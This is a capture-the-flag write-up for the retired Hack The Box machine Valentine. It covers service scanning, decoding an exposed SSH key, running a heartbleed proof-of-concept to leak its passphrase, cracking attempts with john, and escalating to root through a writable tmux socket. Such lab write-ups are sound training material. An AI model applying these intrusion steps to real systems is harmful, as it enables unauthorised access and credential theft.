This is a writeup for the retired Hack The Box Valentine machine.
- Machine URL:
https://www.hackthebox.com/machines/valentine
- Machine IP:
10.10.10.79
- Time Required: 3h
Solution Summary
The Valentine machine is running outdated software and uses a version of the OpenSSL library with the heartbleed vulnerability (CVE-2014-0160).
This vulnerability can be used to decrypt an SSH keys accidentally exposed on the Valentine’s Apache HTTP Server. After gaining access to a regular user account, a Tmux session with improper read and write permissions allows gaining root privileges.
Solution
The steps to solving this machine are:
- Identify running services with Nmap
- Enumerate files on web server
- Retrieve encrypted private SSH key from server.
- Identify
heartbleed
vulnerability. - Use
heartbleed
to dump memory out of OpenSSL library used in Apache HTTP Server. - Extract SSH key password out of memory dump.
- Access
hype
user account and retrieve user flag. - Enumerate local machine and identify privilege escalation vector.
- Use open root Tmux session to retrieve root flag.
Nmap
nmap -oX machines/valentine/nmap.xml -sV -A -sC 10.10.10.79
Starting Nmap 7.94 ( https://nmap.org ) at 2024-09-16 08:27 JST
Nmap scan report for 10.10.10.79
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2024-09-15T23:17:31+00:00; -10m32s from scanner time.
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -10m32s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.23 seconds
- Apache HTTP Server 2.2.22 is running on 80/TCP and 443/TCP
- OpenSSH 5.9p1 is running on 22/TCP
- System is running Ubuntu
Potential vulnerabilities:
- Apache HTTP Server 2.2.22 is very outdated: www.cvedetails.com
- OpenSSH 5.9p1 is very outdated: www.cvedetails.com
Website at http(s)://valentine.htb
We then enumerate directories and files on http://valentine.htb
using
feroxbuster
. First, we briefly look at the landing pages and take
screenshots.
We use the raft-medium-directories.txt
word list and explicitly filter out
404
status codes.
feroxbuster \
--url http://10.10.10.79 \
--wordlist=SecLists/Discovery/Web-Content/raft-medium-directories.txt \
--quiet -C 404 --collect-backups
Four interesting pages turn up after feroxbuster
finishes:
[...]
301 GET 9l 28w 308c http://10.10.10.79/dev => http://10.10.10.79/dev/
200 GET 8l 39w 227c http://10.10.10.79/dev/notes.txt
200 GET 2l 1794w 5383c http://10.10.10.79/dev/hype_key
200 GET 1l 2w 38c http://10.10.10.79/index
200 GET 620l 3539w 275344c http://10.10.10.79/omg.jpg
200 GET 1l 2w 38c http://10.10.10.79/
200 GET 25l 54w 552c http://10.10.10.79/decode.php
200 GET 27l 54w 554c http://10.10.10.79/encode
[...]
Decoding hype_key
We find a file called dev/hype_key
, containing a long series of hexadecimal
values.
What could be in hype_key
? Let’s reverse xxd
the file contents and find
out:
xxd -r -p machines/valentine/hype_key
Shocking! It’s an RSA private key! Here are the (abbreviated) contents.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
[...]
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
We try to find out which lock this key fits and store the key in
machines/valentine/hype_rsa
. Taking a hint from the ENCRYPTED
keyword in
the key, we know that the key needs to be cracked. We try the empty password
first:
openssl rsa -in machines/valentine/hype_rsa -text -noout
The empty password is not accepted:
Enter pass phrase for machines/valentine/hype_rsa:
Could not read private key from machines/valentine/hype_rsa
40879803517F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:providers/implementations/ciphers/ciphercommon_block.c:124:
40879803517F0000:error:04800065:PEM routines:PEM_do_header:bad decrypt:crypto/pem/pem_lib.c:467:
We try harder with john:
# Make sure a recent ssh2john is installed, otherwise the script will not
# work due to a Python 3 compatibility issue
ssh2john.py machines/valentine/hype_rsa > machines/valentine/hype_rsa.john
john --wordlist=(tar -xvzf SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz -O | psub) \
machines/valentine/hype_rsa.john
# Try shorter list but with rules
john --wordlist=SecLists/Passwords/xato-net-10-million-passwords-1000.txt \
--rule=d3ad0ne machines/valentine/hype_rsa.john
# See if anything comes up
john --show machines/valentine/hype_rsa.john
Very likely, this is not a password cracking challenge, so I won’t attempt cracking further for now.
0 password hashes cracked, 1 left
We have seek a different angle on this machine. Since we don’t have the passphrase, we are also unable to see if this private key matches any of the public keys that we have retrieved so far.
Back to Nmap
We run Nmap one more time, making sure we haven’t missed anything:
nmap -oX machines/valentine/nmap_vulns.xml --script "vuln" 10.10.10.79
We find some interesting vulnerabilities, among which ssl-heartbleed
sticks
out:
[...]
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to
be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for
reading memory of systems protected by the vulnerable OpenSSL versions and
could allow for disclosure of otherwise encrypted confidential information as
well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
[...]
Heartbleed
We use a heartbleed
exploit proof of concept hosted
here and extract a long binary
dump of “heartbled” memory into machines/valentine/heartbled.bin
.
In order to run the script, I first convert it using 2to3
, to be compatible
with Python 3.
2to3 -w machines/valentine/heartbleed.py
After 2to3
, there were still some issues with bytes
and string
datatype
confusion. Using pyright
, I try to fix most of the type issues.
To store the “heartbled” memory dump, we use the --rawoutfile
flag:
python3 machines/valentine/heartbleed.py 10.10.10.79 \
--rawoutfile=machines/valentine/heartbled.bin
Finding credentials in the memory dump
Using strings
, we extract useful strings:
strings machines/valentine/heartbled.bin
The $text=...
variable looks interesting.
[...]
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==y3
M{(9
[...]
We use base64 -d
to decode it:
echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
We retrieve the following string:
heartbleedbelievethehype
Is this the secret to cracking the hype_rsa
RSA key? We plug the password
into openssl rsa
and cross our fingers.
openssl rsa -in machines/valentine/hype_rsa -text -noout
It works. We extract the following (abbreviated) information from the successfully decrypted private key:
Private-Key: (2048 bit, 2 primes)
modulus:
00:d4:53:78:99:70:30:9f:78:20:88:30:bf:37:e0:
[...]
5f:2e:0b:9f:22:f2:b1:3f:6d:a0:f3:5b:61:8c:2b:
b2:55:70:0b:cf:8a:e9:ee:d8:9d:10:79:68:3c:b1:
53:b2:b4:b2:f1:3d:5c:4f:ac:f2:83:6f:b0:81:12:
4c:cd
publicExponent: 65537 (0x10001)
privateExponent:
20:6a:01:ce:42:df:59:69:08:66:62:32:bf:00:04:
7d:99:ff:95:84:85:2e:1c:f7:49:93:60:72:5c:d5:
[...]
c8:65:dc:39:8c:85:bd:ed:4b:89:c0:de:94:dc:d1:
0d
[...]
coefficient:
00:9e:da:39:ba:ab:80:ed:43:e9:93:bc:e0:6b:0a:
[...]
ac:6b:b7:89:16:91:ea:79:a8:c9:58:07:37:d2:a3:
8e:d4:80:65:35:5a:1e:87:10
While we’re at it, we remove the password from the SSH key using the following command:
# Make sure ssh won't complain about file permissions
chmod 600 machines/valentine/hype_rsa
# heartbleedbelievethehype
ssh-keygen -p -f machines/valentine/hype_rsa
SSH Access
Now that we have a usable SSH key, we try to log in:
# Thanks to
# https://stackoverflow.com/a/73833149
# for the workaround option used here:
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa hype@10.10.10.79
We are inside and immediately retrieve the user flag:
[...]
hype@Valentine:~$ whoami
hype
hype@Valentine:~$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
hype@Valentine:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
The user flag is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
. We now have to find the
root flag.
Device enumeration
Let’s run a full device enumeration using a previous script used for Hack The Box Funnel, with some small quality of life improvements:
#!/bin/bash
set -o pipefail
sedscript="1h;1s/./=/gp;x;1p;x;1p"
function run ()
{
echo "BEGIN $1" | sed -n "$sedscript"
if $1 |& cat; then
echo "END $1" | sed -n "$sedscript"
else
echo "FAIL $1" | sed -n "$sedscript"
fi
}
commands=("uname -a"
"whoami"
"hostname"
"cat /etc/os-release"
"lspci -nn"
"lscpu"
"systemctl status"
"ps aux"
"ip link show"
"ip address show"
"ip route show"
"cat /etc/passwd"
"cat /etc/group"
"iptables --list"
"ss -tl")
for command in "${commands[@]}"; do
run "$command"
done
The script is passed to the hype
user like so:
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa \
hype@10.10.10.79 \
bash -s < machines/valentine/enumerate.sh > machines/valentine/enumerate.log
Here are some of the more interesting bits of running processes from ps aux
:
[...]
============
BEGIN ps aux
============
[...]
root 955 0.0 0.2 49952 2852 ? Ss Sep15 0:00 /usr/sbin/sshd -D
root 1043 0.0 0.0 19976 976 tty4 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty4
root 1053 0.0 0.0 19976 976 tty5 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty5
root 1060 0.0 0.1 26416 1676 ? Ss Sep15 0:06 /usr/bin/tmux -S /.devs/dev_sess
root 1063 0.0 0.4 20652 4580 pts/15 Ss+ Sep15 0:00 -bash
root 1066 0.0 0.0 19976 972 tty2 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty2
root 1067 0.0 0.0 19976 968 tty3 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty3
root 1072 0.0 0.0 19976 976 tty6 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty6
[...]
==========
END ps aux
==========
[...]
What could that Tmux session be? And can we access it?
Tmux
Very likely, we have found ourselves a Tmux session. We investigate the session file more closely:
hype@Valentine:~$ ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 Sep 15 16:16 /.devs/dev_sess
hype@Valentine:~$ file /.devs/dev_sess
/.devs/dev_sess: socket
For some reason, the current hype
user’s group can access the file (rw
flag
set). The file is a UNIX domain socket that might allow us to connect to a Tmux
session. We try to connect to it:
hype@Valentine:~$ tmux -S /.devs/dev_sess list-sessions
0: 1 windows (created Sun Sep 15 16:16:09 2024) [80x24]
1: 1 windows (created Sun Sep 15 23:47:37 2024) [120x34]
hype@Valentine:~$ tmux -S /.devs/dev_sess attach-session -t 0
[exited]
We are in a root shell, and find the root flag:
root@Valentine:/# cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX